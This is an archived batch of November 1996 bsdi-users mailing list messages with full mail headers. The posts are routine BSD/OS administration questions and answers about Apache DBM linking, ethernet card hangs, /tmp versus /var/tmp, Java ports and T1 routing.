Mike Greene wrote: > I was wondering if the XTRA_LIBS= -lndbm is nessessary for BSDi, I need to > have DBM Auth in a project I'm working on. Defining it gives a compile > error. Below is a snippet from the src/Configuration file mentioning it, > below that is the error I get when compiling Apache 1.1.1 > > # src/Configuration > # > # Place here any extra libraries you may need to link to. > # -lndbm is commonly required for DBM auth, if that is configured in. > EXTRA_LIBS= > # > # > > .o mod_auth_db.o mod_auth_dbm.o -lndbm > ld: No such file or directory for libndbm.a > *** Error code 1 > > Mike - > > From VM Thu Nov 7 01:12:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1054" "Tue" "5" "November" "1996" "11:53:41" "+0100" "cor@xs4all.net" "cor@xs4all.net" nil "25" "Re: Weird hanging" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA26551 for ; Tue, 5 Nov 1996 07:29:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA03875 for bsdi-users-outgoing; Tue, 5 Nov 1996 07:21:16 -0500 (EST) X-Authentication-Warning: news.xs4all.nl: news set sender to cor@xs4all.nl using -f Message-ID: <55n6bj$nh3@news.xs4all.nl> Precedence: bulk From: cor@xs4all.net Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Weird hanging Date: Tue, 5 Nov 1996 11:53:41 +0100 (MET) root@internet-frontier.net (Amy) writes: >OK, a while back i mentioned that occassionally one of our servers would >be hung in the morning. It has only been the news server since. By >accident, I think i might have a clue as to what is causing this. >I had the web server mounted on my administration machine and was >downloading some small (100K) files directly to the mounted partition and >the system crashed and hung until i did a reboot. I was able to do it >again right after that. It seems that when i am only downloading 1 file >over NFS it's ok, but as soon as it's two the system hangs. >Well the news server has been having the same symptoms, but qutie >regularly now. The only difference is the news server is not mounted >anywhere so i am thinking that it's the number of files coming over the >ethernet that is hosing it. >Has anyone heard of this before? Any ideas? Which ethernet card are you using? We've found that 3c509 cards hang if the throughput gets too high. So we switched everything to smc. End of problem. Cor From VM Thu Nov 7 01:12:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["692" "Tue" "5" "November" "1996" "23:59:28" "+1100" "Dave Horsfall" "dave@fgh.oz.au" nil "18" "Re: ACK... /tmp is too small... how can I fix it? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA27662 for ; Tue, 5 Nov 1996 08:14:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA03957 for bsdi-users-outgoing; Tue, 5 Nov 1996 08:00:53 -0500 (EST) In-Reply-To: <199611050836.AAA05985@mtbaker.tfm.com> Message-Id: X-Witty-Saying: "Klein Bottle - open other end" X-Disclaimer: "Me, speak for us?" Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave Horsfall Sender: owner-bsdi-users@lists.gateway.com To: BSDi Users Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 5 Nov 1996 23:59:28 +1100 (EST) On Tue, 5 Nov 1996, Stephen Diercouff wrote: > > So what's wrong with clearing /var/tmp? And last I looked, /usr/tmp was > > /var/tmp anyway (at least, on the systems to which I have access). > > drwxrwxrwt 2 root wheel 512 Nov 5 00:35 /var/tmp/vi.recover ^ Your point being what? If you mean there are valuable directories which you may not want to clean out, then don't remove 'em... I find it useful to create directories under /tmp, so they remain behind after "rm -f /tmp/*"; been doing this since Edition 5... -- Dave Horsfall VK2KFU dave@fgh.oz.au Ph: +61 2 9957-4224 Fx: +61 2 9922-5286 FGH Decision Support Systems P/L, 77 Pacific Hwy, Nth. Sydney, 2060, Australia From VM Thu Nov 7 01:12:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["692" "Tue" "5" "November" "1996" "23:59:28" "+1100" "Dave Horsfall" "dave@fgh.oz.au" nil "18" "Re: ACK... /tmp is too small... how can I fix it? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA27669 for ; Tue, 5 Nov 1996 08:15:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA03963 for bsdi-users-outgoing; Tue, 5 Nov 1996 08:01:12 -0500 (EST) In-Reply-To: <199611050836.AAA05985@mtbaker.tfm.com> Message-Id: X-Witty-Saying: "Klein Bottle - open other end" X-Disclaimer: "Me, speak for us?" Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave Horsfall Sender: owner-bsdi-users@lists.gateway.com To: BSDi Users Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 5 Nov 1996 23:59:28 +1100 (EST) On Tue, 5 Nov 1996, Stephen Diercouff wrote: > > So what's wrong with clearing /var/tmp? And last I looked, /usr/tmp was > > /var/tmp anyway (at least, on the systems to which I have access). > > drwxrwxrwt 2 root wheel 512 Nov 5 00:35 /var/tmp/vi.recover ^ Your point being what? If you mean there are valuable directories which you may not want to clean out, then don't remove 'em... I find it useful to create directories under /tmp, so they remain behind after "rm -f /tmp/*"; been doing this since Edition 5... -- Dave Horsfall VK2KFU dave@fgh.oz.au Ph: +61 2 9957-4224 Fx: +61 2 9922-5286 FGH Decision Support Systems P/L, 77 Pacific Hwy, Nth. Sydney, 2060, Australia From VM Thu Nov 7 01:12:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["619" "Tue" "5" "November" "1996" "08:12:20" "-0500" "Evan Champion" "evanc@synapse.net" nil "18" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA27942 for ; Tue, 5 Nov 1996 08:21:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA03987 for bsdi-users-outgoing; Tue, 5 Nov 1996 08:12:36 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: Dave Horsfall cc: BSDi Users Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 5 Nov 1996 08:12:20 -0500 (EST) On Tue, 5 Nov 1996, Dave Horsfall wrote: > So what's wrong with clearing /var/tmp? And last I looked, /usr/tmp was > /var/tmp anyway (at least, on the systems to which I have access). For one thing, the vi recovery directory is in /var/tmp, so by clearing it on reboot you lose the ability to recover files. If /usr/tmp is a link to /var/tmp, then just come up with another name. How about /var/roottmp. It doesn't really matter, does it? Evan -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Thu Nov 7 01:12:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["819" "Tue" "5" "November" "1996" "10:09:16" "-0500" "Sam Brown" "root@ns2.clever.net" nil "29" "Re: Apache & dbm" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA00802 for ; Tue, 5 Nov 1996 10:06:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA04074 for bsdi-users-outgoing; Tue, 5 Nov 1996 09:48:59 -0500 (EST) In-Reply-To: <199611050916.BAA10091@cronus.rockisland.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Mike Greene cc: bsdi-users@BSDI.COM Subject: Re: Apache & dbm Date: Tue, 5 Nov 1996 10:09:16 -0500 (EST) Just use db not dbm, or get gdbm (prep.ai.mit.edu/pub/gnu) and dont use db and use gdbm. One or the other ya know? db is built into bsdi so i might recommend just using that.. On Tue, 5 Nov 1996, Mike Greene wrote: > I was wondering if the XTRA_LIBS= -lndbm is nessessary for BSDi, I need to > have DBM Auth in a project I'm working on. Defining it gives a compile > error. Below is a snippet from the src/Configuration file mentioning it, > below that is the error I get when compiling Apache 1.1.1 > > # src/Configuration > # > # Place here any extra libraries you may need to link to. > # -lndbm is commonly required for DBM auth, if that is configured in. > EXTRA_LIBS= > # > # > > .o mod_auth_db.o mod_auth_dbm.o -lndbm > ld: No such file or directory for libndbm.a > *** Error code 1 > > Mike - > > From VM Thu Nov 7 01:12:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1421" "Tue" "5" "November" "1996" "10:16:24" "-0500" "Vivek Khera" "khera@kci.kcilink.com" nil "40" "Re: Java and BSDI " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA01341 for ; Tue, 5 Nov 1996 10:24:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA04119 for bsdi-users-outgoing; Tue, 5 Nov 1996 10:16:56 -0500 (EST) Message-Id: <199611051516.KAA05574@kci.kciLink.com> In-reply-to: Your message of "Wed, 06 Nov 1996 00:36:50 +0530." <199611051906.AAA18343@fire.ncc-public.itmin.com> Precedence: bulk From: Vivek Khera Sender: owner-bsdi-users@lists.gateway.com To: Kish Galappatti cc: bsdi-users@BSDI.COM Subject: Re: Java and BSDI Date: Tue, 05 Nov 1996 10:16:24 -0500 +--------- | 1. Is there a BSDI compatible version of the JDK? The feature list posted here recently of the 3.0 release said it included a port of the JDK. | 2. Are any of the Java development tools such as Java Workshop or | Internet Cafe available for BSDI or soon to be available?? Wouldn't a port of Symantec's Cafe' be the best thing in the world to happen to BSDI? I'm about to go out and buy a Macintosh just to run this software. | 3. Is anyone currently doing any sort of development work on Java | using BSDI as a platform? +--------- There is a Java run-time available that is quite nice. It does, however, lack the windowing functions, so can only be really used for non-graphical apps right now. It is called kaffe and can be found on the ftp.bsdi.com contrib area. This include the java compiler written in java. There is another Java compiler called guava which is written entirely in C++ and seems to do a pretty good job. Here are the URLs: http://HTTP.CS.Berkeley.EDU/~engberg/guavac/ http://web.soi.city.ac.uk/~tim/kaffe/kaffe.html v. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Vivek Khera, Ph.D. Khera Communications, Inc. Internet: khera@kciLink.com Rockville, MD +1-301-258-8292 PGP/MIME spoken here http://www.kciLink.com/home/khera/ From VM Thu Nov 7 01:12:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1112" "Tue" "5" "November" "1996" "10:25:15" "-0400" "Dean Anderson" "dean@av8.com" nil "34" "Re: need to kill a process, but it isn't listed" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA01345 for ; Tue, 5 Nov 1996 10:26:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA04146 for bsdi-users-outgoing; Tue, 5 Nov 1996 10:21:39 -0500 (EST) X-Authentication-Warning: mustang.oec.com: mail set sender to using -f X-Sender: dean@mail.oec.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: dean@av8.com (Dean Anderson) Sender: owner-bsdi-users@lists.gateway.com To: Mike Greene Cc: bsdi-users@BSDI.COM Subject: Re: need to kill a process, but it isn't listed Date: Tue, 5 Nov 1996 10:25:15 -0400 >> I was dialed in remotely and got dropped, no big deal just dialed back in. >> >> But when I did a 'who' it shows me being logged in on that port, however the >> process table doesn't show the PID for the csh, how do I get rid of that >> connection short of rebooting the machine? >> >> [mikeg][cronus]: w >> >> USER TTY FROM LOGIN@ IDLE WHAT >> mikeg p0 calvin 8:07AM 2 w >> mikeg p2 nts20 Sun01PM 19:51 - >> >> [mikeg][cronus]: ps >> >> 26685 p0 Is 0:00.16 -csh (csh) >> 28242 p0 R+ 0:00.01 ps -ax try: ps tp0 Another possiblity is that the login was killed and the utmp/wtmp files were not updated. --Dean Dean Anderson dean@aV8.com | dean@lpf.org We make technology fly! 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Contact me for more info Contact me for services and rates | or send mail to lpf@lpf.org President | President Plain Aviation,Inc | League for Programming Freedom From VM Thu Nov 7 01:12:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["459" "Tue" "5" "November" "1996" "16:30:14" "+0300" "Vyacheslav Silakov" "seal@nordlink.ru" nil "14" "MO" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA02721 for ; Tue, 5 Nov 1996 11:17:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA04219 for bsdi-users-outgoing; Tue, 5 Nov 1996 11:07:14 -0500 (EST) Message-Id: <199611051330.QAA19984@Ra.nordlink.ru> X-Class: Fast Organization: Nordlink Company, Arkhangelsk, Russia Newsgroups: nordlink.info X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: 8bit Precedence: bulk From: seal@nordlink.ru (Vyacheslav Silakov) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: MO Date: Tue, 5 Nov 1996 16:30:14 +0300 (MSK) Hi, Gurus! I have HP NetServer 4d/66 LE with embedded AIC-6260 SCSI controller (too old. I know :) powered by BSD/OS 2.1. Help me please to select external SCSI Magneto-Optical drive that will work with my server certainly. Some time ago I tried to use 1Gb Pennacle MO drive, but it not worked with BSD/OS 2.0.1 correctly. When I'm tried to write big file (about 8Mb) on MO drive entire BSD/OS server was hanged. Don't know why. -- Vyacheslav Silakov From VM Thu Nov 7 01:12:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["178" "Tue" "5" "November" "1996" "07:00:01" "-0600" "M. Dickens" "mdickens@tetranet.net" nil "7" "Password Changed Elsewhere" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA02731 for ; Tue, 5 Nov 1996 11:18:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA04212 for bsdi-users-outgoing; Tue, 5 Nov 1996 11:06:31 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "M. Dickens" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Password Changed Elsewhere Date: Tue, 5 Nov 1996 07:00:01 -0600 (CST) Which patch corrects the "password changed elsewhere..." in 2.0.1. I applied the few from the BSDI ftp site but it didn't correct the problem. Michael mdickens@tetranet.net From VM Thu Nov 7 01:12:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["820" "Tue" "5" "November" "1996" "17:09:45" "+0100" "david@isdnet.net" "david@isdnet.net" nil "23" "Re: Java and BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA02736 for ; Tue, 5 Nov 1996 11:22:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA04232 for bsdi-users-outgoing; Tue, 5 Nov 1996 11:09:49 -0500 (EST) Message-Id: <199611051609.RAA06020@emma.isdnet.net> In-Reply-To: <199611051906.AAA18343@fire.ncc-public.itmin.com> from "Kish Galappatti" at Nov 6, 96 00:36:50 am X-NCC-RegID: fr.isdnet X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: david@isdnet.net Sender: owner-bsdi-users@lists.gateway.com To: kish@MillenniumIT.COM (Kish Galappatti) Cc: bsdi-users@BSDI.COM Subject: Re: Java and BSDI Date: Tue, 5 Nov 1996 17:09:45 +0100 (MET) > can anyone give me some pointers on Java and BSDI?? > > 1. Is there a BSDI compatible version of the JDK? > 2. Are any of the Java development tools such as Java Workshop or > Internet Cafe available for BSDI or soon to be available?? > 3. Is anyone currently doing any sort of development work on Java > using BSDI as a platform? > > We are an internet solutions company and we currently develop in Java on > Solaris, we want to move into a PC based environment and would really like > to avoid using NT!! ftp.bsdi.com:/contrib/infosystems/kaffe-0.5.5.tar.gz Hope this helps. Regards. -- -- David Ponzone - ISDnet - Network Administrator -- Work: +33 1 34 65 78 86 Pager: 06 06 41 82 45 Cell: 06 60 61 21 63 Email: david@isdnet.net From VM Thu Nov 7 01:12:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1396" "Tue" "5" "November" "1996" "09:50:26" "-0700" "Jim Hribnak" "hribnak@nucleus.com" nil "38" "Re: Weird hanging" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA03838 for ; Tue, 5 Nov 1996 11:56:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA04283 for bsdi-users-outgoing; Tue, 5 Nov 1996 11:44:32 -0500 (EST) In-Reply-To: <55n6bj$nh3@news.xs4all.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jim Hribnak Sender: owner-bsdi-users@lists.gateway.com To: cor@xs4all.net cc: bsdi-users@BSDI.COM Subject: Re: Weird hanging Date: Tue, 5 Nov 1996 09:50:26 -0700 (MST) On Tue, 5 Nov 1996 cor@xs4all.net wrote: root@internet-frontier.net (Amy) writes: Which ethernet card are you using? We've found that 3c509 cards hang if the throughput gets too high. So we switched everything to smc. End of problem. Cor ============================================ Not sure if it would be the network card.. We use the 3c509 here and we have a major busy Web server (2.8 million hits per week) and havent had the box HANG i have had record up times of 2 months straight (I know some of you can run longer but I like to reboot now and then) \|||/ \|||/ (o o) (o o) -------oOO--(_)--OOo-----------------------------oOO--(_)--OOo--------------- Jim Hribnak Nucleus Information Service Manager Communication Services 156+ Lines (403)541-9400 (Calgary) Nucleus Inc. (403)413-1600 (Edmonton) hribnak@nucleus.com (403)541-9470 (Voice) WWW: www.nucleus.com Telnet: nis.nucleus.com ooO ooO ------( )----0oo------------------------------( )----0oo----------------- \ ( ( ) \ ( ( ) \_) ) / \_) ) / (_/ (_/ From VM Thu Nov 7 01:12:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["617" "Tue" "5" "November" "1996" "08:52:35" "-0800" "Armando Escalante" "armando@tio.com" nil "24" "Poor's man Dual Homming??" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA03848 for ; Tue, 5 Nov 1996 11:57:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA04289 for bsdi-users-outgoing; Tue, 5 Nov 1996 11:44:48 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Armando Escalante Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM cc: Armando Escalante Subject: Poor's man Dual Homming?? Date: Tue, 5 Nov 1996 08:52:35 -0800 (PST) Hi All, I know this is not the correct list, but maybe someone can point me in the right direction... I have a CISCO router w/2 Serial ports will add second T1 line to it. Second T1 will come with new Class C's. First T1 with initial class C's will go away after a while... Question: How can I keep both lines and do proper Routing? Class C's are not mine but upstream providers. First T1 would provide NEWS access and I would like to use as a BACKUP of the second T1 only, unless a flexible routing plan can be installed. Can it be done with existing router? If so, how? Many thanks in advance! Armando From VM Thu Nov 7 01:12:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["768" "Tue" "5" "November" "1996" "19:04:25" "+0100" "Cor Bosman" "cor@xs4all.net" nil "22" "Re: Weird hanging" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA05772 for ; Tue, 5 Nov 1996 13:07:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA04360 for bsdi-users-outgoing; Tue, 5 Nov 1996 13:04:59 -0500 (EST) Message-Id: <199611051804.TAA26872@xs1.xs4all.nl> In-Reply-To: from "Jim Hribnak" at Nov 5, 96 09:50:26 am X-NCC-Regid: nl.xs4all X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Cor Bosman Sender: owner-bsdi-users@lists.gateway.com To: hribnak@nucleus.com (Jim Hribnak) Cc: cor@xs4all.net, bsdi-users@BSDI.COM Subject: Re: Weird hanging Date: Tue, 5 Nov 1996 19:04:25 +0100 (MET) > root@internet-frontier.net (Amy) writes: > > > Which ethernet card are you using? We've found that 3c509 cards hang > if the throughput gets too high. So we switched everything to smc. > End of problem. > > Cor > ============================================ > > > Not sure if it would be the network card.. We use the 3c509 here and we > have a major busy Web server (2.8 million hits per week) and havent had > the box HANG i have had record up times of 2 months straight (I know some > of you can run longer but I like to reboot now and then) Well, 2.8 million hits is surely a lot, but we saw this happening at 800000 to 1 million hits a day. The whole problem vanished when we started using SMC. So im inclined to say its a hardware or driver bug. Cor From VM Thu Nov 7 01:12:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1183" "Tue" "5" "November" "1996" "09:53:42" "-0800" "Stephen Diercouff" "sgd@tfm.com" nil "30" "Re: ACK... /tmp is too small... how can I fix it? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA05776 for ; Tue, 5 Nov 1996 13:07:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA04341 for bsdi-users-outgoing; Tue, 5 Nov 1996 12:54:25 -0500 (EST) Message-Id: <199611051753.JAA24759@mtbaker.tfm.com> In-reply-to: Your message of "Tue, 05 Nov 1996 23:59:28 +1100." Precedence: bulk From: Stephen Diercouff Sender: owner-bsdi-users@lists.gateway.com To: Dave Horsfall cc: BSDi Users , sgd@tfm.com Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 05 Nov 1996 09:53:42 -0800 > > > > drwxrwxrwt 2 root wheel 512 Nov 5 00:35 /var/tmp/vi.recover > ^ > Your point being what? If you mean there are valuable directories which > you may not want to clean out, then don't remove 'em... > > I find it useful to create directories under /tmp, so they remain behind > after "rm -f /tmp/*"; been doing this since Edition 5... For performance reasons, many folks create memory filesystems for /tmp. It is not possible to preserve those files after a reboot. If you read the hier(7) man page, you will see that /tmp and its entire contents are not designed to be preserved, and /var/tmp is explicitly designed to store files which should be preserved. To combine the two filesystems involves a compromise which is, IMO, a misfeature. I don't understand the insistence that some folks have in combining the two, and eliminating that distinction. One didn't create memory filesystems in the mid-1970s. Wake up and join the '90s. :) --Stephen -- Stephen Diercouff, tfm associates, Eugene Oregon voice:+1 541 461 8928 Internet: sgd@tfm.com fax:+1 541 461 8929 Snail : P.O. Box 1244/Eugene OR 97440-1244 USA From VM Thu Nov 7 01:12:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["182" "Tue" "5" "November" "1996" "18:54:26" "+0100" "Ray Davis" "rdavis@masschaos.de.convex.com" nil "9" "Re: Poor's man Dual Homming??" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA05780 for ; Tue, 5 Nov 1996 13:08:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA04347 for bsdi-users-outgoing; Tue, 5 Nov 1996 12:55:22 -0500 (EST) Message-Id: <9611051854.ZM5729@masschaos.de.convex.com> In-Reply-To: Armando Escalante "Poor's man Dual Homming??" (Nov 5, 8:52) References: X-Mailer: Z-Mail (3.2.1 10oct95) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Ray Davis" Sender: owner-bsdi-users@lists.gateway.com To: Armando Escalante , bsdi-users@BSDI.COM Subject: Re: Poor's man Dual Homming?? Date: Tue, 5 Nov 1996 18:54:26 +0100 > I know this is not the correct list, but maybe someone can point me in the > right direction... http://routes.netaxs.com/multi.html http://www.amazing.com/internet/ Cheers, Ray From VM Thu Nov 7 01:13:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["219" "Tue" "5" "November" "1996" "16:25:10" "GMT" "orange@allegany.com" "orange@allegany.com" nil "9" "digiboard 16em Acceleport for sale" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA08039 for ; Tue, 5 Nov 1996 14:33:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA04585 for bsdi-users-outgoing; Tue, 5 Nov 1996 14:25:37 -0500 (EST) Path: vixen.cso.uiuc.edu!news.uoregon.edu!arclight.uoregon.edu!super.zippo.com!zdc!szdc!szdc-e!news Newsgroups: comp.dcom.modems,comp.dcom.telecom.tech,info.bsdi.users Organization: Zippo Lines: 9 Message-ID: <55nfgj$qr@krypto.zippo.com> X-Newsreader: Forte Free Agent 1.0.82 Xref: vixen.cso.uiuc.edu comp.dcom.modems:162132 comp.dcom.telecom.tech:28660 info.bsdi.users:26160 Precedence: bulk From: orange@allegany.com Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: digiboard 16em Acceleport for sale Date: Tue, 05 Nov 1996 16:25:10 GMT purchased in July,'96 from CDW for $850, asking $600. used two months, replaced with terminal server. works fine. includes isa board, 16 port module and cables, software, and manual oran stewart orange@allegany.com From VM Thu Nov 7 01:13:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["548" "Tue" "5" "November" "1996" "14:14:54" "-0500" "Alan B. Clegg" "abc@gateway.com" nil "15" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA08043 for ; Tue, 5 Nov 1996 14:34:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA04506 for bsdi-users-outgoing; Tue, 5 Nov 1996 14:15:20 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Alan B. Clegg" Sender: owner-bsdi-users@lists.gateway.com To: system operator cc: bsdi-users@BSDI.COM Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 5 Nov 1996 14:14:54 -0500 (EST) On Mon, 4 Nov 1996, system operator wrote: > lrwxr-xr-x 1 root wheel 8 Oct 28 05:15 tmp -> /var/tmp Just hope that you don't ever have a need to mount / without /var and do anything useful. Not that it can't be done, but it certainly does make things more complicated. -abc | Death, Taxes, and Liberals will always be with us. | Alan B. Clegg At least Death never gets any worse. | gateway.com, inc. | From VM Thu Nov 7 01:13:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["713" "Tue" "5" "November" "1996" "13:55:29" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "24" "Re: Apache & dbm" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA08605 for ; Tue, 5 Nov 1996 14:59:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA04667 for bsdi-users-outgoing; Tue, 5 Nov 1996 14:51:54 -0500 (EST) In-Reply-To: <199611050916.BAA10091@cronus.rockisland.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Mike Greene cc: bsdi-users@BSDI.COM Subject: Re: Apache & dbm Date: Tue, 5 Nov 1996 13:55:29 -0800 (PST) > I was wondering if the XTRA_LIBS= -lndbm is nessessary for BSDi, I need to > have DBM Auth in a project I'm working on. Defining it gives a compile > error. Below is a snippet from the src/Configuration file mentioning it, > below that is the error I get when compiling Apache 1.1.1 > > # src/Configuration > # > # Place here any extra libraries you may need to link to. > # -lndbm is commonly required for DBM auth, if that is configured in. > EXTRA_LIBS= > # > # > > .o mod_auth_db.o mod_auth_dbm.o -lndbm > ld: No such file or directory for libndbm.a > *** Error code 1 > You need to comment out the module for DBM auth. I forget which file it is in. Do grep mod_auth * in the apache dir Amy 